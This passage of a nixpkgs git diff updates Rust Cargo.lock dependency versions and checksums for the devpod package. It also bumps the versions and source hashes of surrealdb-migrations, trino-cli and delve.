[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a4882e6b134d6c28953a387571f1acdd3496830d5e36c5e3a1075580ea641c" +dependencies = [ + "memchr", +] + +[[package]] name = "winreg" version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" dependencies = [ "cfg-if", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] @@ -4245,7 +4443,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" [[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.43", +] + +[[package]] name = "zeroize" -version = "1.6.0" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9" +checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" diff --git a/pkgs/development/tools/database/surrealdb-migrations/default.nix b/pkgs/development/tools/database/surrealdb-migrations/default.nix index 2adc3133839fd..8ea134184326b 100644 --- a/pkgs/development/tools/database/surrealdb-migrations/default.nix +++ b/pkgs/development/tools/database/surrealdb-migrations/default.nix @@ -10,7 +10,7 @@ let pname = "surrealdb-migrations"; - version = "1.0.1"; + version = "1.1.0"; in rustPlatform.buildRustPackage rec { inherit pname version; @@ -19,7 +19,7 @@ rustPlatform.buildRustPackage rec { owner = "Odonno"; repo = pname; rev = "v${version}"; - hash = "sha256-yody0F8Wkizyq7SW9OjT4cV3O9HOUYlBc7+8GwJG2cs="; + hash = "sha256-UnRf9HdEcKH0cOWKJIjgjNBlSVjXyk27bwB+4ftzAcs="; }; cargoLock = { diff --git a/pkgs/development/tools/database/trino-cli/default.nix b/pkgs/development/tools/database/trino-cli/default.nix index c42ab0208b320..899fa72d673a9 100644 --- a/pkgs/development/tools/database/trino-cli/default.nix +++ b/pkgs/development/tools/database/trino-cli/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "trino-cli"; - version = "435"; + version = "439"; jarfilename = "${pname}-${version}-executable.jar"; @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "mirror://maven/io/trino/${pname}/${version}/${jarfilename}"; - sha256 = "sha256-X+G75KtlQus9mYcGtAMm7MDo7reN2ZTlVvhGhzEu5W4="; + sha256 = "sha256-ANrv3+hpRn00zFAu6FHltk6seQ4lP2esDIhsJrctfY0="; }; dontUnpack = true; diff --git a/pkgs/development/tools/delve/default.nix b/pkgs/development/tools/delve/default.nix index 1b76d0543a34b..fb0c6cbaf7446 100644 --- a/pkgs/development/tools/delve/default.nix +++ b/pkgs/development/tools/delve/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "delve"; - version = "1.22.0"; + version = "1.22.1"; src = fetchFromGitHub { owner = "go-delve"; repo = "delve"; rev = "v${version}"; - hash = "sha256-uYUl8PMBRf73wwo+oOYda0sTfD1gnDThtNc3sg8Q328="; + hash = "sha256-rR84muba8nMrPZAhH+8xXOOxBvKIsU8Xju8tG7BjqBo="; }; vendorHash = null; diff --git a/pkgs/development/tools/devpod/Cargo.lock b/pkgs/development/tools/devpod/Cargo.lock index 87d28317d6fcb..8b7d57a658b6e 100644 --- a/pkgs/development/tools/devpod/Cargo.lock +++ b/pkgs/development/tools/devpod/Cargo.lock @@ -9,6 +9,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fe438c63458706e03479442743baae6c88256498e6431708f6dfc520a26515d3" [[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] name = "adler" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -16,9 +25,9 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "aho-corasick" -version = "0.7.20" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] @@ -39,6 +48,12 @@ dependencies = [ ] [[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] name = "android_system_properties" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -49,9 +64,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.70" +version = "1.0.75" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4" +checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" [[package]] name = "arrayvec" @@ -60,13 +75,184 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "23b62fc65de8e4e7f52534fb52b0f3ed04746ae267519eef2a83941e8085068b" [[package]] +name = "async-broadcast" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c48ccdbf6ca6b121e0f586cbc0e73ae440e56c67c30fa0873b4e110d9c26d2b" +dependencies = [ + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" +dependencies = [ + "concurrent-queue", + "event-listener 4.0.0", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" +dependencies = [ + "async-lock 3.2.0", + "async-task", + "concurrent-queue", + "fastrand 2.0.1", + "futures-lite 2.1.0", + "slab", +] + +[[package]] +name = "async-fs" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "279cf904654eeebfa37ac9bb1598880884924aab82e290aa65c9e77a0e142e06" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "blocking", + "futures-lite 1.13.0", +] + +[[package]] +name = "async-io" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-lite 1.13.0", + "log", + "parking", + "polling 2.8.0", + "rustix 0.37.27", + "slab", + "socket2 0.4.10", + "waker-fn", +] + +[[package]] +name = "async-io" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6d3b15875ba253d1110c740755e246537483f152fa334f91abd7fe84c88b3ff" +dependencies = [ + "async-lock 3.2.0", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite 2.1.0", + "parking", + "polling 3.3.1", + "rustix 0.38.26", + "slab", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "async-lock" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +dependencies = [ + "event-listener 2.5.3", +] + +[[package]] +name = "async-lock" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7125e42787d53db9dd54261812ef17e937c95a51e4d291373b670342fa44310c" +dependencies = [ + "event-listener 4.0.0", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea6438ba0a08d81529c69b36700fa2f95837bfe3e776ab39cde9c14d9149da88" +dependencies = [ + "async-io 1.13.0", + "async-lock 2.8.0", + "async-signal", + "blocking", + "cfg-if", + "event-listener 3.1.0", + "futures-lite 1.13.0", + "rustix 0.38.26", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-recursion" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "async-signal" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" +dependencies = [ + "async-io 2.2.1", + "async-lock 2.8.0", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 0.38.26", + "signal-hook-registry", + "slab", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-task" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4eb2cdb97421e01129ccb49169d8279ed21e829929144f4a22a6e54ac549ca1" + +[[package]] +name = "async-trait" +version = "0.1.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] name = "atk" version = "0.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2c3d816ce6f0e2909a96830d6911c2aff044370b1ef92d7f267b43bae5addedd" dependencies = [ "atk-sys", - "bitflags", + "bitflags 1.3.2", "glib", "libc", ] @@ -80,30 +266,91 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] -name = "attohttpc" -version = "0.22.0" +name = "atomic-waker" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fcf00bc6d5abb29b5f97e3c61a90b6d3caa12f3faf897d4a3e3607c050a35a7" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "axum" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "810a80b128d70e6ed2bdf3fe8ed72c0ae56f5f5948d01c2753282dd92a84fce8" dependencies = [ - "flate2", - "http", - "log", - "native-tls", + "async-trait", + "axum-core", + "base64 0.21.5", + "bytes", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "hyper 1.0.1", + "hyper-util", + "itoa 1.0.9", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", "serde", "serde_json", + "serde_path_to_error", "serde_urlencoded", - "url", + "sha1", + "sync_wrapper", + "tokio", + "tokio-tungstenite", + "tower", + "tower-layer", + "tower-service", ] [[package]] -name = "autocfg" -version = "1.1.0" +name = "axum-core" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +checksum = "de0ddc355eab88f4955090a823715df47acf0b7660aab7a69ad5ce6301ee3b73" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "mime", + "pin-project-lite", + "rustversion", + "sync_wrapper", + "tower-layer", + "tower-service", +] + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] [[package]] name = "base64" @@ -113,9 +360,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.0" +version = "0.21.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4a4ddaa51a5bc52a6948f74c06d20aaaddb71924eab79b8c97a8c556e942d6a" +checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" [[package]] name = "bitflags" @@ -124,6 +371,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] name = "block" version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -139,10 +392,26 @@ dependencies = [ ] [[package]] +name = "blocking" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" +dependencies = [ + "async-channel", + "async-lock 3.2.0", + "async-task", + "fastrand 2.0.1", + "futures-io", + "futures-lite 2.1.0", + "piper", + "tracing", +] + +[[package]] name = "brotli" -version = "3.3.4" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1a0b1dbcc8ae29329621f8d4f0d835787c1c38bb1401979b49d13b0b305ff68" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -151,9 +420,9 @@ dependencies = [ [[package]] name = "brotli-decompressor" -version = "2.3.4" +version = "2.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b6561fd3f895a11e8f72af2cb7d22e08366bebc2b6b57f7744c4bda27034744" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -161,9 +430,9 @@ dependencies = [ [[package]] name = "bstr" -version = "1.4.0" +version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3d4260bcc2e8fc9df1eac4919a720effeb63a3f0952f5bf4944adfa18897f09" +checksum = "542f33a8835a0884b006a0c3df3dadd99c0c3f296ed26c2fdc8028e01ad6230c" dependencies = [ "memchr", "serde", @@ -171,9 +440,9 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.12.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d261e256854913907f67ed06efbc3338dfe6179796deefc1ff763fc1aee5535" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "byte-unit" @@ -187,21 +456,24 @@ dependencies = [ [[package]] name = "bytemuck" -version = "1.13.1" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" [[package]] name = "byteorder" -version = "1.4.3" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" +dependencies = [ + "serde", +] [[package]] name = "cairo-rs" @@ -209,7 +481,7 @@ version = "0.15.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c76ee391b03d35510d9fa917357c7f1855bd9a6659c95a1b392e33f49b3369bc" dependencies = [ - "bitflags", + "bitflags 1.3.2", "cairo-sys-rs", "glib", "libc", @@ -224,24 +496,27 @@ checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8" dependencies = [ "glib-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] name = "cargo_toml" -version = "0.13.3" +version = "0.15.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497049e9477329f8f6a559972ee42e117487d01d1e8c2cc9f836ea6fa23a9e1a" +checksum = "599aa35200ffff8f04c1925aa1acc92fa2e08874379ef42e210a80e527e60838" dependencies = [ "serde", - "toml 0.5.11", + "toml 0.7.8", ] [[package]] name = "cc" -version = "1.0.79" +version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] [[package]] name = "cesu8" @@ -251,23 +526,13 @@ checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" [[package]] name = "cfb" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74f89d248799e3f15f91b70917f65381062a01bb8e222700ea0e5a7ff9785f9c" -dependencies = [ - "byteorder", - "uuid 0.8.2", -] - -[[package]] -name = "cfb" version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" dependencies = [ "byteorder", "fnv", - "uuid 1.3.1", + "uuid", ] [[package]] @@ -281,11 +546,12 @@ dependencies = [ [[package]] name = "cfg-expr" -version = "0.14.0" +version = "0.15.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a35b255461940a32985c627ce82900867c61db1659764d3675ea81963f72a4c6" +checksum = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3" dependencies = [ "smallvec", + "target-lexicon", ] [[package]] @@ -296,18 +562,17 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "chrono" -version = "0.4.24" +version = "0.4.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e3c5919066adf22df73762e50cffcde3a758f2a848b113b586d1f86728b673b" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" dependencies = [ + "android-tzdata", "iana-time-zone", "js-sys", - "num-integer", "num-traits", "serde", - "time 0.1.45", "wasm-bindgen", - "winapi", + "windows-targets 0.48.5", ] [[package]] @@ -316,7 +581,7 @@ version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f425db7937052c684daec3bd6375c8abe2d146dca4b8b143d6db777c39138f3a" dependencies = [ - "bitflags", + "bitflags 1.3.2", "block", "cocoa-foundation", "core-foundation", @@ -328,30 +593,19 @@ dependencies = [ [[package]] name = "cocoa-foundation" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "931d3837c286f56e3c58423ce4eba12d08db2374461a785c86f672b08b5650d6" +checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7" dependencies = [ - "bitflags", + "bitflags 1.3.2", "block", "core-foundation", "core-graphics-types", - "foreign-types", "libc", "objc", ] [[package]] -name = "codespan-reporting" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e" -dependencies = [ - "termcolor", - "unicode-width", -] - -[[package]] name = "color_quant" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -368,6 +622,15 @@ dependencies = [ ] [[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] name = "convert_case" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -375,9 +638,9 @@ checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" [[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -385,9 +648,9 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "core-graphics" @@ -395,7 +658,7 @@ version = "0.22.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb" dependencies = [ - "bitflags", + "bitflags 1.3.2", "core-foundation", "core-graphics-types", "foreign-types", @@ -404,21 +667,20 @@ dependencies = [ [[package]] name = "core-graphics-types" -version = "0.1.1" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a68b68b3446082644c91ac778bf50cd4104bfb002b5a6a7c44cca5a2c70788b" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" dependencies = [ - "bitflags", + "bitflags 1.3.2", "core-foundation", - "foreign-types", "libc", ] [[package]] name = "cpufeatures" -version = "0.2.6" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "280a9f2d8b3a38871a3c8a46fb80db65e5e5ed97da80c4d08bf27fb63e35e181" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" dependencies = [ "libc", ] @@ -443,10 +705,34 @@ dependencies = [ ] [[package]] +name = "crossbeam-deque" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +dependencies = [ + "cfg-if", + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +dependencies = [ + "autocfg", + "cfg-if", + "crossbeam-utils", + "memoffset 0.9.0", + "scopeguard", +] + +[[package]] name = "crossbeam-utils" -version = "0.8.15" +version = "0.8.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c063cd8cc95f5c377ed0d4b49a4b21f632396ff690e8470c29b3359b346984b" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" dependencies = [ "cfg-if", ] @@ -480,115 +766,87 @@ dependencies = [ [[package]] name = "cssparser-macros" -version = "0.6.0" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dfae75de57f2b2e85e8768c3ea840fd159c8f33e2b6522c7835b7abac81be16e" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" dependencies = [ "quote", - "syn 1.0.109", + "syn 2.0.39", ] [[package]] name = "ctor" -version = "0.1.26" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096" +checksum = "37e366bff8cd32dd8754b0991fb66b279dc48f598c3a18914852a6673deef583" dependencies = [ "quote", - "syn 1.0.109", + "syn 2.0.39", ] [[package]] -name = "cxx" -version = "1.0.94" +name = "darling" +version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f61f1b6389c3fe1c316bf8a4dccc90a38208354b330925bce1f74a6c4756eb93" +checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" dependencies = [ - "cc", - "cxxbridge-flags", - "cxxbridge-macro", - "link-cplusplus", + "darling_core", + "darling_macro", ] [[package]] -name = "cxx-build" -version = "1.0.94" +name = "darling_core" +version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12cee708e8962df2aeb38f594aae5d827c022b6460ac71a7a3e2c3c2aae5a07b" +checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" dependencies = [ - "cc", - "codespan-reporting", - "once_cell", + "fnv", + "ident_case", "proc-macro2", "quote", - "scratch", - "syn 2.0.15", + "strsim", + "syn 2.0.39", ] [[package]] -name = "cxxbridge-flags" -version = "1.0.94" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7944172ae7e4068c533afbb984114a56c46e9ccddda550499caa222902c7f7bb" - -[[package]] -name = "cxxbridge-macro" -version = "1.0.94" +name = "darling_macro" +version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2345488264226bf682893e25de0769f3360aac9957980ec49361b083ddaa5bc5" +checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ - "proc-macro2", + "darling_core", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] -name = "darling" -version = "0.13.4" +name = "data-encoding" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c" -dependencies = [ - "darling_core", - "darling_macro", -] +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" [[package]] -name = "darling_core" -version = "0.13.4" +name = "deranged" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610" +checksum = "8eb30d70a07a3b04884d2677f06bec33509dc67ca60d92949e5535352d3191dc" dependencies = [ - "fnv", - "ident_case", - "proc-macro2", - "quote", - "strsim", - "syn 1.0.109", + "powerfmt", + "serde", ] [[package]] -name = "darling_macro" -version = "0.13.4" +name = "derivative" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" dependencies = [ - "darling_core", + "proc-macro2", "quote", "syn 1.0.109", ] [[package]] -name = "dbus" -version = "0.9.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bb21987b9fb1613058ba3843121dd18b163b254d8a6e797e144cbac14d96d1b" -dependencies = [ - "libc", - "libdbus-sys", - "winapi", -] - -[[package]] name = "derive_more" version = "0.99.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -606,10 +864,12 @@ name = "devpod-desktop" version = "0.1.0" dependencies = [ "anyhow", + "axum", "chrono", "cocoa", "dirs", "dispatch", + "http 1.0.0", "lazy_static", "log", "objc", @@ -619,6 +879,7 @@ dependencies = [ "serde", "serde_json", "serde_qs", + "serde_urlencoded", "serde_yaml", "strip-ansi-escapes", "tauri", @@ -628,6 +889,7 @@ dependencies = [ "tauri-plugin-store", "thiserror", "tokio", + "tower-http", "ts-rs", "url", "window-vibrancy", @@ -637,9 +899,9 @@ dependencies = [ [[package]] name = "digest" -version = "0.10.6" +version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8168378f4e5023e7218c89c891c0fd8ecdb5e5e4f18cb78f38cf245dd021e76f" +checksum = 